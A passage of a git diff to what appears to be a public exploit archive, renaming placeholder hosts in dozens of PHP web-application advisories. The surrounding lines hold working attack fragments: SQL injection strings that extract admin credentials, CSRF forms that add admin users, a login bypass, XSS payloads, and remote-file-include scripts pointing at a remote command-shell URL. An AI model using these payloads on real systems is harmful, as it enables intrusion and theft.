@@ print <<INTRO; + + +++++++++++++++++++++++++++++++++++++++++++++++++++++ INTRO -print "Enter URL(ie: http://server): "; +print "Enter URL(ie: http://target.com): "; chomp(my $url=<STDIN>); print "Enter File Path(path to local file to upload): "; diff --git a/platforms/php/webapps/13904.txt b/platforms/php/webapps/13904.txt index f0d429a4c..57fbb4a4d 100755 --- a/platforms/php/webapps/13904.txt +++ b/platforms/php/webapps/13904.txt @@ -10,7 +10,7 @@ <body onload="javascript:fireForms()"> <form method="POST" name="form0" -action="http://www.server/[path]<http://www.server/%5Bpath%5D/admincp/staff.php?do=edit&id=1&go=update> +action="http://www.site.com/[path]<http://www.site.com/%5Bpath%5D/admincp/staff.php?do=edit&id=1&go=update> /cp/security.php?do=admins"> <input type="hidden" name="username" value="fuck"/> <input type="hidden" name="password" value="fuckpass123"/> diff --git a/platforms/php/webapps/13911.txt b/platforms/php/webapps/13911.txt index c476bca70..dc7404bab 100755 --- a/platforms/php/webapps/13911.txt +++ b/platforms/php/webapps/13911.txt @@ -9,7 +9,7 @@ [-] Vulnerability [-] -http://server/path//index.php?area=1&p=gallery&action=showimages&galid=[SQL INj] +http://site.com/path//index.php?area=1&p=gallery&action=showimages&galid=[SQL INj] [-] eXploit [-] diff --git a/platforms/php/webapps/13912.txt b/platforms/php/webapps/13912.txt index 2347a6143..7f7c63e78 100755 --- a/platforms/php/webapps/13912.txt +++ b/platforms/php/webapps/13912.txt @@ -3,7 +3,7 @@ # Author: hexon # Version: 1.10 and below # Tested on: Windows XP Service Pack 2 Professional, Windows 7 -# Code : htttp://server/file.php?param=[XSS Code] +# Code : htttp://site.com/file.php?param=[XSS Code] Havij Persistent XSS (<=v1.10) diff --git a/platforms/php/webapps/13922.txt b/platforms/php/webapps/13922.txt index 90e3f5958..b5a5a7977 100755 --- a/platforms/php/webapps/13922.txt +++ b/platforms/php/webapps/13922.txt @@ -43,4 +43,4 @@ DEMO URL :http://[site]/index.php?option=com_content&view=frontpage&setLang=en-G ############################################################################################################### # 0day no more -# Sid3^effects \ No newline at end of file +# Sid3^effects \ No newline at end of file diff --git a/platforms/php/webapps/13927.txt b/platforms/php/webapps/13927.txt index 56a65e1b3..347f417d3 100755 --- a/platforms/php/webapps/13927.txt +++ b/platforms/php/webapps/13927.txt @@ -14,9 +14,9 @@ MarketSaz remote file Upload Vulnerability #Platform :linux/php -#Exploit : http://server +#Exploit : http://target.com -#http://server/admin/view/javascript/fckeditor/editor/filemanager/connectors/test.html +#http://target.com/admin/view/javascript/fckeditor/editor/filemanager/connectors/test.html #Example site: http://server @@ -29,4 +29,4 @@ MarketSaz remote file Upload Vulnerability #OR #http://server/shell.php -# Spical Thanks To Net.Edit0r (Net.Edit0r@att.net) \ No newline at end of file +# Spical Thanks To Net.Edit0r (Net.Edit0r@att.net) \ No newline at end of file diff --git a/platforms/php/webapps/13936.txt b/platforms/php/webapps/13936.txt index fe3bae9df..6972889b4 100755 --- a/platforms/php/webapps/13936.txt +++ b/platforms/php/webapps/13936.txt @@ -10,4 +10,4 @@ [-] Vulnerability [-] -http://server/[path]/standings.php?ladder[id]=[SQL INj] \ No newline at end of file +http://site.com/[path]/standings.php?ladder[id]=[SQL INj] \ No newline at end of file diff --git a/platforms/php/webapps/13937.txt b/platforms/php/webapps/13937.txt index dd9b36164..a808aab36 100755 --- a/platforms/php/webapps/13937.txt +++ b/platforms/php/webapps/13937.txt @@ -11,15 +11,15 @@ [-] Vulnerability [-] -http://server/[path]/index.php?action=browse&cat=[SQL INj] +http://site.com/[path]/index.php?action=browse&cat=[SQL INj] -http://server/[path]/index.php?action=playgame&gameid=[SQL INj] +http://site.com/[path]/index.php?action=playgame&gameid=[SQL INj] -http://server/[path]/index.php?action=browse&cat=[SQL INj] +http://site.com/[path]/index.php?action=browse&cat=[SQL INj] diff --git a/platforms/php/webapps/13951.txt b/platforms/php/webapps/13951.txt index 319069a6e..26cc2c98b 100755 --- a/platforms/php/webapps/13951.txt +++ b/platforms/php/webapps/13951.txt @@ -38,4 +38,4 @@ DEMO URL : http://server/index.php?option=com_eportfolio&Itemid=18&task=personal STEP 4: Now you can check your shell n root the server :P ############################################################################################################### # 0day no more -# Sid3^effects \ No newline at end of file +# Sid3^effects \ No newline at end of file diff --git a/platforms/php/webapps/13954.txt b/platforms/php/webapps/13954.txt index 3284e54bd..00cb91e5e 100755 --- a/platforms/php/webapps/13954.txt +++ b/platforms/php/webapps/13954.txt @@ -22,4 +22,4 @@ DEMO URL http://server/?lang=[inject code] ############################################################################################################### # 0day no more -# Sid3^effects \ No newline at end of file +# Sid3^effects \ No newline at end of file diff --git a/platforms/php/webapps/13955.txt b/platforms/php/webapps/13955.txt index 35bf86eaa..e97de5dbd 100755 --- a/platforms/php/webapps/13955.txt +++ b/platforms/php/webapps/13955.txt @@ -26,4 +26,4 @@ DEMO URL : http://server/index.php?option=com_community&view=profile&Itemid=66 ############################################################################################################### # 0day no more -# Sid3^effects \ No newline at end of file +# Sid3^effects \ No newline at end of file diff --git a/platforms/php/webapps/13956.txt b/platforms/php/webapps/13956.txt index 759a79a3d..cd0fd1e6c 100755 --- a/platforms/php/webapps/13956.txt +++ b/platforms/php/webapps/13956.txt @@ -20,4 +20,4 @@ DEMO URL ############################################################################################################### # 0day no more -# Sid3^effects \ No newline at end of file +# Sid3^effects \ No newline at end of file diff --git a/platforms/php/webapps/13969.txt b/platforms/php/webapps/13969.txt index bb6b79fc9..c9931de0d 100755 --- a/platforms/php/webapps/13969.txt +++ b/platforms/php/webapps/13969.txt @@ -4,7 +4,7 @@ 0-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=1 Author: L0rd CrusAd3r aka VSN [crusader_hmg@yahoo.com] Exploit Title:Job Search SQL Injection -Vendor url:http://getaphpserver +Vendor url:http://getaphpsite.com Version:1 Price:20$ Published: 2010-06-22 diff --git a/platforms/php/webapps/13970.txt b/platforms/php/webapps/13970.txt index 726282d4f..d5cc4b114 100755 --- a/platforms/php/webapps/13970.txt +++ b/platforms/php/webapps/13970.txt @@ -23,7 +23,7 @@ Vulnerability: DEMO URL: -http://www.server/products/videocommunity/video.php?videoid=[sqli] +http://www.site.com/products/videocommunity/video.php?videoid=[sqli] *XSS Vulnerable @@ -31,7 +31,7 @@ Parameter:'"--><script>alert(0x000872)</script> DEMO URL: -http://www.server/products/videocommunity/video.php?videoid=[xss] +http://www.site.com/products/videocommunity/video.php?videoid=[xss] # 0day n0 m0re # # L0rd CrusAd3r # diff --git a/platforms/php/webapps/13971.txt b/platforms/php/webapps/13971.txt index b43f16a68..7d38a2c04 100755 --- a/platforms/php/webapps/13971.txt +++ b/platforms/php/webapps/13971.txt @@ -4,7 +4,7 @@ 0-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=1 Author: L0rd CrusAd3r aka VSN [crusader_hmg@yahoo.com] Exploit Title:Classifieds SQL Injection -Vendor url:http://getaphpserver +Vendor url:http://getaphpsite.com Version:1 Price:20$ Published: 2010-06-22 diff --git a/platforms/php/webapps/13975.txt b/platforms/php/webapps/13975.txt index 656b47109..49fe922b9 100755 --- a/platforms/php/webapps/13975.txt +++ b/platforms/php/webapps/13975.txt @@ -4,7 +4,7 @@ 0-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=1 Author: L0rd CrusAd3r aka VSN [crusader_hmg@yahoo.com] Exploit Title:The webring service SQL Injection -Vendor url:http://getaphpserver +Vendor url:http://getaphpsite.com Version:1 Price:20$ Published: 2010-06-22 diff --git a/platforms/php/webapps/13976.txt b/platforms/php/webapps/13976.txt index 918b404c7..7d88c1439 100755 --- a/platforms/php/webapps/13976.txt +++ b/platforms/php/webapps/13976.txt @@ -4,7 +4,7 @@ 0-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=1 Author: L0rd CrusAd3r aka VSN [crusader_hmg@yahoo.com] Exploit Title:Top Sites SQL Vulnerable -Vendor url:http://getaphpserver +Vendor url:http://getaphpsite.com Version:1 Price:20$ Published: 2010-06-22 diff --git a/platforms/php/webapps/1398.pl b/platforms/php/webapps/1398.pl index 7a50fcfae..6ccfb1e0b 100755 --- a/platforms/php/webapps/1398.pl +++ b/platforms/php/webapps/1398.pl @@ -64,7 +64,7 @@ getopts("h:d:"); $host = $opt_h; $dirs = $opt_d; -$shel = "http://webserver/cmd.txt"; # cmd shell url +$shel = "http://website.com/cmd.txt"; # cmd shell url $cmdv = "cmd"; # cmd variable (ex. passthru($_GET[cmd]);) $good = 0; diff --git a/platforms/php/webapps/13991.txt b/platforms/php/webapps/13991.txt index 8f19647d2..029326b21 100755 --- a/platforms/php/webapps/13991.txt +++ b/platforms/php/webapps/13991.txt @@ -6,10 +6,10 @@ $ Download :http://www.softbizscripts.com/FAQ-script-features.php $ $ $ $*********************************************************** $ -$ check version : http://server/fag/print_article.php?id=[id number]+and substring(version(),1,1)=4 -$ http://server/fag/print_article.php?id=[id number]+and substring(version(),1,1)=5 -$ http://server/fag/print_article.php?id=[idnumber]+and+(select+substring(concat(1,password_column),1,1)+from+admin_info_table+limit+0,1)=1/* -$ http://server/fag/print_article.php?id=[idnumber]+and+(select+substring(concat(1,username_column),1,1)+from+admin_info_table+limit+0,1)=1/* +$ check version : http://server.com/fag/print_article.php?id=[id number]+and substring(version(),1,1)=4 +$ http://server.com/fag/print_article.php?id=[id number]+and substring(version(),1,1)=5 +$ http://server.com/fag/print_article.php?id=[idnumber]+and+(select+substring(concat(1,password_column),1,1)+from+admin_info_table+limit+0,1)=1/* +$ http://server.com/fag/print_article.php?id=[idnumber]+and+(select+substring(concat(1,username_column),1,1)+from+admin_info_table+limit+0,1)=1/* $ note: password_column,username_column,admin_info_table depend on the database installed $*********************************************************** $ Demo: diff --git a/platforms/php/webapps/13996.txt b/platforms/php/webapps/13996.txt index 60f77b778..d7c9a224b 100755 --- a/platforms/php/webapps/13996.txt +++ b/platforms/php/webapps/13996.txt @@ -16,4 +16,4 @@ Sql Injection: http://localhost/[path]/products.php?sid=1 (SQL) -################################################################################################## \ No newline at end of file +################################################################################################## \ No newline at end of file diff --git a/platforms/php/webapps/1401.pl b/platforms/php/webapps/1401.pl index a5e46f4bf..c3973097d 100755 --- a/platforms/php/webapps/1401.pl +++ b/platforms/php/webapps/1401.pl @@ -49,7 +49,7 @@ getopts("h:d:"); $host = $opt_h; $dirs = $opt_d; -$shel = "http://server/cmd.txt"; # cmd shell url +$shel = "http://site.com/cmd.txt"; # cmd shell url $cmdv = "cmd"; # cmd variable (ex. passthru($_GET[cmd]);) $good = 0; diff --git a/platforms/php/webapps/14016.txt b/platforms/php/webapps/14016.txt index f6caec380..c2f273bf7 100755 --- a/platforms/php/webapps/14016.txt +++ b/platforms/php/webapps/14016.txt @@ -1,4 +1,4 @@ -) ) ) ( ( ( ( ( ) ) + ) ) ) ( ( ( ( ( ) ) ( /(( /( ( ( /( ( ( ( )\ ))\ ) )\ ))\ ) )\ ) ( /( ( /( )\())\()))\ ) )\()) )\ )\ )\ (()/(()/( ( (()/(()/((()/( )\()) )\()) ((_)((_)\(()/( ((_)((((_)( (((_)(((_)( /(_))(_)) )\ /(_))(_))/(_))(_)\|((_)\ diff --git a/platforms/php/webapps/14047.txt b/platforms/php/webapps/14047.txt index 935954daa..47f5d52a5 100755 --- a/platforms/php/webapps/14047.txt +++ b/platforms/php/webapps/14047.txt @@ -23,7 +23,7 @@ $ http://www.server/products/shaadi/keywordresult.php?lookingfor=&photo=1&maritalstatus=&agefrom=20&ageto=25&heightfrom=&heightto=&community=&mother=&caste=&country=&state1=&city1=&keyword=[XSShere]&Search=Search $ Demo: $ -http://server/products/shaadi/keywordresult.php?lookingfor=&photo=1&maritalstatus=&agefrom=20&ageto=25&heightfrom=&heightto=&community=&mother=&caste=&country=&state1=&city1=&keyword=%22%3E%3Cscript%3Ealert%28%22XSS%20Vulnerability%22%29%3C%2Fscript%3E&Search=Search +http://www.server.com/products/shaadi/keywordresult.php?lookingfor=&photo=1&maritalstatus=&agefrom=20&ageto=25&heightfrom=&heightto=&community=&mother=&caste=&country=&state1=&city1=&keyword=%22%3E%3Cscript%3Ealert%28%22XSS%20Vulnerability%22%29%3C%2Fscript%3E&Search=Search $ $ $ 2.2.ProfileID search @@ -31,10 +31,10 @@ Here is my sample header: $----------------------------------------------------------SAMPLE HEADER--------------------------------------------------------- -http://server/products/shaadi/submit_story.php +http://www.server.com/products/shaadi/submit_story.php POST /products/shaadi/submit_story.php HTTP/1.1 -Host: server +Host: www.server.com User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.4) Gecko/20100611 Firefox/3.6.4 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 @@ -43,7 +43,7 @@ Accept-Encoding: gzip,deflate Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 Keep-Alive: 115 Connection: keep-alive -Referer: http://server/products/shaadi/submit_story.php +Referer: http://www.server.com/products/shaadi/submit_story.php Cookie: __utma=229131423.947861364.1277393768.1277478668.1277481807.7; __utmz=229131423.1277393768.1.1.utmcsr%3D(direct)%7Cutmccn%3D(direct)%7Cutmcmd%3D(none); PHPSESSID=c10e1491d7b9e1d9ed7afc8ce05b7f91; __utmc=229131423; diff --git a/platforms/php/webapps/14049.html b/platforms/php/webapps/14049.html index e0e7e2fde..f87c47709 100755 --- a/platforms/php/webapps/14049.html +++ b/platforms/php/webapps/14049.html @@ -8,7 +8,7 @@ <html> <body onload="javascript:fireForms()"> <form method="POST" name="form0" action=" -http://www.server/[path]/admin/index.php"> +http://www.site.com/[path]/admin/index.php"> <input type="hidden" name="action" value="adduserok"/> <input type="hidden" name="username" value="admin2"/> <input type="hidden" name="password" value="admin2123"/> diff --git a/platforms/php/webapps/14051.txt b/platforms/php/webapps/14051.txt index 5e6ee442b..f5d19db51 100755 --- a/platforms/php/webapps/14051.txt +++ b/platforms/php/webapps/14051.txt @@ -20,7 +20,7 @@ SQL Injection - p0c - www.server/products/business2business/selling_buy_leads1.php?cat_id=[SQLI] + p0c - www.site.com/products/business2business/selling_buy_leads1.php?cat_id=[SQLI] =========================================================== diff --git a/platforms/php/webapps/14073.txt b/platforms/php/webapps/14073.txt index c5f553037..204236c8d 100755 --- a/platforms/php/webapps/14073.txt +++ b/platforms/php/webapps/14073.txt @@ -17,7 +17,7 @@ N00bor,Ic3Drag0n,novaca!ne,n3w7u,Maverick010101,s0red,c1ox. ---------------------------------------------------------------------------------------- -+Vulnerability : www.server/script/smartresult.php?gender=&agefrom=&ageto=&marital ++Vulnerability : www.site.com/script/smartresult.php?gender=&agefrom=&ageto=&marital status=Never+Married&heightfrom=&heightto=&complexion=&special=None&community=&mother =&pro=&diet=&country=&state1=&city1=&Search=Search ---------------------------------------------------------------------------------------- diff --git a/platforms/php/webapps/14074.rb b/platforms/php/webapps/14074.rb index 64214bee6..67bcdfce2 100755 --- a/platforms/php/webapps/14074.rb +++ b/platforms/php/webapps/14074.rb @@ -18,7 +18,7 @@ ___ ___ ___ ___ _ _ _____ _ ---------------------------------------------------------------------------------------- -+Vulnerability : www.server/script/searchvote.php?category= ++Vulnerability : www.site.com/script/searchvote.php?category= ---------------------------------------------------------------------------------------- +exploit in ruby @@ -39,7 +39,7 @@ print " " block = "#########################################################" print ""+ block +"" -print "\nEnter host name (server)->" +print "\nEnter host name (site.com)->" host=gets.chomp print ""+ block +"" print "\nEnter script path (/script/)->" diff --git a/platforms/php/webapps/14075.rb b/platforms/php/webapps/14075.rb index 623668e4c..66df55728 100755 --- a/platforms/php/webapps/14075.rb +++ b/platforms/php/webapps/14075.rb @@ -18,7 +18,7 @@ ___ ___ ___ ___ _ _ _____ _ ---------------------------------------------------------------------------------------- -+Vulnerability : www.server/script/searchproject.php?cate= ++Vulnerability : www.site.com/script/searchproject.php?cate= ---------------------------------------------------------------------------------------- +exploit in ruby @@ -39,7 +39,7 @@ print " " block = "#########################################################" print ""+ block +"" -print "\nEnter host name (server)->" +print "\nEnter host name (site.com)->" host=gets.chomp print ""+ block +"" print "\nEnter script path (/script/)->" diff --git a/platforms/php/webapps/14076.rb b/platforms/php/webapps/14076.rb index d45151cab..f086f97dd 100755 --- a/platforms/php/webapps/14076.rb +++ b/platforms/php/webapps/14076.rb @@ -18,7 +18,7 @@ ___ ___ ___ ___ _ _ _____ _ ---------------------------------------------------------------------------------------- -+Vulnerability : www.server/script/image_display_details1.php?img= ++Vulnerability : www.site.com/script/image_display_details1.php?img= ---------------------------------------------------------------------------------------- +exploit in ruby @@ -39,7 +39,7 @@ print " " block = "#########################################################" print ""+ block +"" -print "\nEnter host name (server)->" +print "\nEnter host name (site.com)->" host=gets.chomp print ""+ block +"" print "\nEnter script path (/script/)->" diff --git a/platforms/php/webapps/14079.txt b/platforms/php/webapps/14079.txt index 0b1fc28a2..6cffdda9d 100755 --- a/platforms/php/webapps/14079.txt +++ b/platforms/php/webapps/14079.txt @@ -23,4 +23,4 @@ DEMO URL : http://server/jobsearchengine/show_search_result.php?keyword=[sqli] ############################################################################################################### # 0day no more -# Sid3^effects \ No newline at end of file +# Sid3^effects \ No newline at end of file diff --git a/platforms/php/webapps/14080.txt b/platforms/php/webapps/14080.txt index 7da78318d..f98d6c414 100755 --- a/platforms/php/webapps/14080.txt +++ b/platforms/php/webapps/14080.txt @@ -23,4 +23,4 @@ by using ' or 1=1 or ''=' in both username and password the attacker can get the ############################################################################################################### # 0day no more -# Sid3^effects \ No newline at end of file +# Sid3^effects \ No newline at end of file diff --git a/platforms/php/webapps/14086.txt b/platforms/php/webapps/14086.txt index 42f1c5c48..22c134393 100755 --- a/platforms/php/webapps/14086.txt +++ b/platforms/php/webapps/14086.txt @@ -18,5 +18,5 @@ PTCPay GEN4 (buyupg.php) SQL Injection Vulnerability Step 1 - Register The Site Step 2 - Go to link : -http://www.server/buyupg.php?upg=2/**/aNd/**/1=0/**/unIon +http://www.site.com/buyupg.php?upg=2/**/aNd/**/1=0/**/unIon SeleCT/**/1,2,3,4,5,6,7,CONCAT_WS(CHAR(32,58,32),aId,aUsername,aPassword,aPermissions),9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39/**/from/**/admins \ No newline at end of file diff --git a/platforms/php/webapps/14094.txt b/platforms/php/webapps/14094.txt index a63f8c53f..d8806dd7d 100755 --- a/platforms/php/webapps/14094.txt +++ b/platforms/php/webapps/14094.txt @@ -23,4 +23,4 @@ DEMO URL : http://server/path/index.php?mod=products&cat=[sqli] ############################################################################################################### # 0day no more -# Sid3^effects \ No newline at end of file +# Sid3^effects \ No newline at end of file diff --git a/platforms/php/webapps/14095.txt b/platforms/php/webapps/14095.txt index eba48ae25..1df96d1e0 100755 --- a/platforms/php/webapps/14095.txt +++ b/platforms/php/webapps/14095.txt @@ -34,4 +34,4 @@ DEMO URL : http://server/products/2daybizemail/php121_editname.php?uid=[sqli] ############################################################################################################### # 0day no more -# Sid3^effects \ No newline at end of file +# Sid3^effects \ No newline at end of file diff --git a/platforms/php/webapps/14106.txt b/platforms/php/webapps/14106.txt index adb8c2519..82a990c9c 100755 --- a/platforms/php/webapps/14106.txt +++ b/platforms/php/webapps/14106.txt @@ -13,14 +13,14 @@ Dork: [Powered by: PHPDirector 0.30] 0r [ inurl:videos.php?id= ] [~] ExploiT [~] -http://www.server/videos.php?id=[SQL] +http://www.site.com/videos.php?id=[SQL] union+select+1,2,@@version,4,5,6,7,8,9,10,11,12,13,14-- [~] ConTroL Panel (admin login) [~] -http://www.server/login.php +http://www.site.com/login.php [~] demo [~] @@ -40,4 +40,4 @@ Peace [~] GreetZ To [~] -The Invisible , Dr.Html , Mehdiz , Mr-Yasen , The S3r!0uS , Dr.Solo , ProF.Sellim & All Morrocans H4xorz \ No newline at end of file +The Invisible , Dr.Html , Mehdiz , Mr-Yasen , The S3r!0uS , Dr.Solo , ProF.Sellim & All Morrocans H4xorz \ No newline at end of file diff --git a/platforms/php/webapps/14107.txt b/platforms/php/webapps/14107.txt index 5f5640042..b76198451 100755 --- a/platforms/php/webapps/14107.txt +++ b/platforms/php/webapps/14107.txt @@ -1,4 +1,4 @@ -) ) ) ( ( ( ( ( ) ) + ) ) ) ( ( ( ( ( ) ) ( /(( /( ( ( /( ( ( ( )\ ))\ ) )\ ))\ ) )\ ) ( /( ( /( )\())\()))\ ) )\()) )\ )\ )\ (()/(()/( ( (()/(()/((()/( )\()) )\()) ((_)((_)\(()/( ((_)((((_)( (((_)(((_)( /(_))(_)) )\ /(_))(_))/(_))(_)\|((_)\ diff --git a/platforms/php/webapps/14109.txt b/platforms/php/webapps/14109.txt index 8e5eee0e5..de8387d35 100755 --- a/platforms/php/webapps/14109.txt +++ b/platforms/php/webapps/14109.txt @@ -1,4 +1,4 @@ -) ) ) ( ( ( ( ( ) ) + ) ) ) ( ( ( ( ( ) ) ( /(( /( ( ( /( ( ( ( )\ ))\ ) )\ ))\ ) )\ ) ( /( ( /( )\())\()))\ ) )\()) )\ )\ )\ (()/(()/( ( (()/(()/((()/( )\()) )\()) ((_)((_)\(()/( ((_)((((_)( (((_)(((_)( /(_))(_)) )\ /(_))(_))/(_))(_)\|((_)\ diff --git a/platforms/php/webapps/14110.txt b/platforms/php/webapps/14110.txt index e9d990140..9e67c51c3 100755 --- a/platforms/php/webapps/14110.txt +++ b/platforms/php/webapps/14110.txt @@ -8,7 +8,7 @@ <html> <body onload="javascript:fireForms()"> <form method="POST" name="form0" action=" -http://www.server/[path]/admin/index.php"> +http://www.site.com/[path]/admin/index.php"> <input type="hidden" name="action" value="adduserok"/> <input type="hidden" name="username" value="test"/> <input type="hidden" name="password" value="test123"/> diff --git a/platforms/php/webapps/14111.txt b/platforms/php/webapps/14111.txt index d9932512d..523146f97 100755 --- a/platforms/php/webapps/14111.txt +++ b/platforms/php/webapps/14111.txt @@ -8,7 +8,7 @@ <html> <body onload="javascript:fireForms()"> <form method="POST" name="form0" action=" -http://www.server/[path]/admin/index.php"> +http://www.site.com/[path]/admin/index.php"> <input type="hidden" name="action" value="adduserok"/> <input type="hidden" name="username" value="test"/> <input type="hidden" name="password" value="test"/> diff --git a/platforms/php/webapps/14112.txt b/platforms/php/webapps/14112.txt index 675fdb1c4..bdb29f061 100755 --- a/platforms/php/webapps/14112.txt +++ b/platforms/php/webapps/14112.txt @@ -1,4 +1,4 @@ -) ) ) ( ( ( ( ( ) ) + ) ) ) ( ( ( ( ( ) ) ( /(( /( ( ( /( ( ( ( )\ ))\ ) )\ ))\ ) )\ ) ( /( ( /( )\())\()))\ ) )\()) )\ )\ )\ (()/(()/( ( (()/(()/((()/( )\()) )\()) ((_)((_)\(()/( ((_)((((_)( (((_)(((_)( /(_))(_)) )\ /(_))(_))/(_))(_)\|((_)\ diff --git a/platforms/php/webapps/14126.txt b/platforms/php/webapps/14126.txt index 4dcf39566..5a48356cc 100755 --- a/platforms/php/webapps/14126.txt +++ b/platforms/php/webapps/14126.txt @@ -1,4 +1,4 @@ -) ) ) ( ( ( ( ( ) ) + ) ) ) ( ( ( ( ( ) ) ( /(( /( ( ( /( ( ( ( )\ ))\ ) )\ ))\ ) )\ ) ( /( ( /( )\())\()))\ ) )\()) )\ )\ )\ (()/(()/( ( (()/(()/((()/( )\()) )\()) ((_)((_)\(()/( ((_)((((_)( (((_)(((_)( /(_))(_)) )\ /(_))(_))/(_))(_)\|((_)\ diff --git a/platforms/php/webapps/14127.txt b/platforms/php/webapps/14127.txt index 0f9d811a0..bca8de38e 100755 --- a/platforms/php/webapps/14127.txt +++ b/platforms/php/webapps/14127.txt @@ -32,4 +32,4 @@ DEMO URL : http://server/component/joomanager/?view=itemslist&catid=[sqli] ############################################################################################################### # 0day no more -# Sid3^effects \ No newline at end of file +# Sid3^effects \ No newline at end of file diff --git a/platforms/php/webapps/14165.txt b/platforms/php/webapps/14165.txt index b008492ef..d4ead083d 100755 --- a/platforms/php/webapps/14165.txt +++ b/platforms/php/webapps/14165.txt @@ -15,7 +15,7 @@ $ "First Name","Title" $ Code: ********************************************************************************************* -Host: server +Host: www.server.com User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.6) Gecko/20100625 Firefox/3.6.6 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-us,en;q=0.5 diff --git a/platforms/php/webapps/14170.txt b/platforms/php/webapps/14170.txt index a177b103b..738b2be52 100755 --- a/platforms/php/webapps/14170.txt +++ b/platforms/php/webapps/14170.txt @@ -23,4 +23,4 @@ DEMO URL :http://server/showinphoto.php?pid=[LFI] ############################################################################################################### # 0day no more -# Sid3^effects \ No newline at end of file +# Sid3^effects \ No newline at end of file diff --git a/platforms/php/webapps/14171.txt b/platforms/php/webapps/14171.txt index 055f91ac1..a5cbf9b53 100755 --- a/platforms/php/webapps/14171.txt +++ b/platforms/php/webapps/14171.txt @@ -23,4 +23,4 @@ DEMO URL :http://server/iphone/showphoto.php?pid=[LFI] ############################################################################################################### # 0day no more -# Sid3^effects \ No newline at end of file +# Sid3^effects \ No newline at end of file diff --git a/platforms/php/webapps/14184.txt b/platforms/php/webapps/14184.txt index fc1e775c9..862a5a5e4 100755 --- a/platforms/php/webapps/14184.txt +++ b/platforms/php/webapps/14184.txt @@ -26,4 +26,4 @@ its not possible to upload shells but remote user can upload files with definned #EXPLOIT:#################################################################### -http://server/_plugin/fckeditor/editor/filemanager/connectors/test.html \ No newline at end of file +http://site.com/_plugin/fckeditor/editor/filemanager/connectors/test.html \ No newline at end of file diff --git a/platforms/php/webapps/14196.txt b/platforms/php/webapps/14196.txt index 957c0d148..05c26c818 100755 --- a/platforms/php/webapps/14196.txt +++ b/platforms/php/webapps/14196.txt @@ -32,4 +32,4 @@ Steap 4: Now check your ads :P DEMO URL :http://server/js/index.php?option=com_socialads&view=adsummary&Itemid=94&adid=23 ############################################################################################################### # 0day no more -# Sid3^effects \ No newline at end of file +# Sid3^effects \ No newline at end of file diff --git a/platforms/php/webapps/14202.txt b/platforms/php/webapps/14202.txt index d8721fbc3..1de43db05 100755 --- a/platforms/php/webapps/14202.txt +++ b/platforms/php/webapps/14202.txt @@ -20,4 +20,4 @@ http://server/search_results/?action=[LFI] ############################################################################################################### # 0day no more -# Sid3^effects \ No newline at end of file +# Sid3^effects \ No newline at end of file diff --git a/platforms/php/webapps/14209.txt b/platforms/php/webapps/14209.txt index 332c95c86..d91055fe8 100755 --- a/platforms/php/webapps/14209.txt +++ b/platforms/php/webapps/14209.txt @@ -37,4 +37,4 @@ DEMO URL :http://server/index.php?option=com_content&view=category&layout=blog&i ############################################################################################################### # 0day no more -# Sid3^effects \ No newline at end of file +# Sid3^effects \ No newline at end of file diff --git a/platforms/php/webapps/14210.txt b/platforms/php/webapps/14210.txt index 4f34cc275..dd2c4d4bd 100755 --- a/platforms/php/webapps/14210.txt +++ b/platforms/php/webapps/14210.txt @@ -28,4 +28,4 @@ DEMO URL :http://server/index.php?option=com_addressbook&view=contact&Itemid=[Bs ############################################################################################################### # 0day no more -# Sid3^effects \ No newline at end of file +# Sid3^effects \ No newline at end of file diff --git a/platforms/php/webapps/14211.txt b/platforms/php/webapps/14211.txt index ec9a685e3..93c07b9e8 100755 --- a/platforms/php/webapps/14211.txt +++ b/platforms/php/webapps/14211.txt @@ -26,4 +26,4 @@ DEMO URL :http://server/joomla15/index.php?option=com_ninjamonials&view=display& ############################################################################################################### # 0day no more -# Sid3^effects \ No newline at end of file +# Sid3^effects \ No newline at end of file diff --git a/platforms/php/webapps/14223.txt b/platforms/php/webapps/14223.txt index 9fad345b7..ac2cb7970 100755 --- a/platforms/php/webapps/14223.txt +++ b/platforms/php/webapps/14223.txt @@ -27,4 +27,4 @@ Xploit: Auth Bypass use ' or 1=1 or ''=' in both username and password :D ############################################################################################################### # 0day no more -# Sid3^effects \ No newline at end of file +# Sid3^effects \ No newline at end of file diff --git a/platforms/php/webapps/14224.txt b/platforms/php/webapps/14224.txt index 9181b90a8..14b7c7714 100755 --- a/platforms/php/webapps/14224.txt +++ b/platforms/php/webapps/14224.txt @@ -26,4 +26,4 @@ Use ' or 1=1 or ''=' in both username and password :D ############################################################################################################### # 0day no more -# Sid3^effects \ No newline at end of file +# Sid3^effects \ No newline at end of file diff --git a/platforms/php/webapps/14225.txt b/platforms/php/webapps/14225.txt index bd740d352..fe5ac4ad2 100755 --- a/platforms/php/webapps/14225.txt +++ b/platforms/php/webapps/14225.txt @@ -21,4 +21,4 @@ DEMO URL 1:http://server/Realtor_Web/search.php?c=[sqli] ############################################################################################################### # 0day no more -# Sid3^effects \ No newline at end of file +# Sid3^effects \ No newline at end of file diff --git a/platforms/php/webapps/14226.txt b/platforms/php/webapps/14226.txt index 4fb909870..968243617 100755 --- a/platforms/php/webapps/14226.txt +++ b/platforms/php/webapps/14226.txt @@ -25,4 +25,4 @@ DEMO URL 2:http://server/Home_Classifieds/articlesdetails.php?id=[sqli] ############################################################################################################### # 0day no more -# Sid3^effects \ No newline at end of file +# Sid3^effects \ No newline at end of file diff --git a/platforms/php/webapps/14227.txt b/platforms/php/webapps/14227.txt index 6fdd74929..ec4ffb48b 100755 --- a/platforms/php/webapps/14227.txt +++ b/platforms/php/webapps/14227.txt @@ -23,4 +23,4 @@ DEMO URL 1:http://server/Events_Locator/search.php?c=[sqli] ############################################################################################################### # 0day no more -# Sid3^effects \ No newline at end of file +# 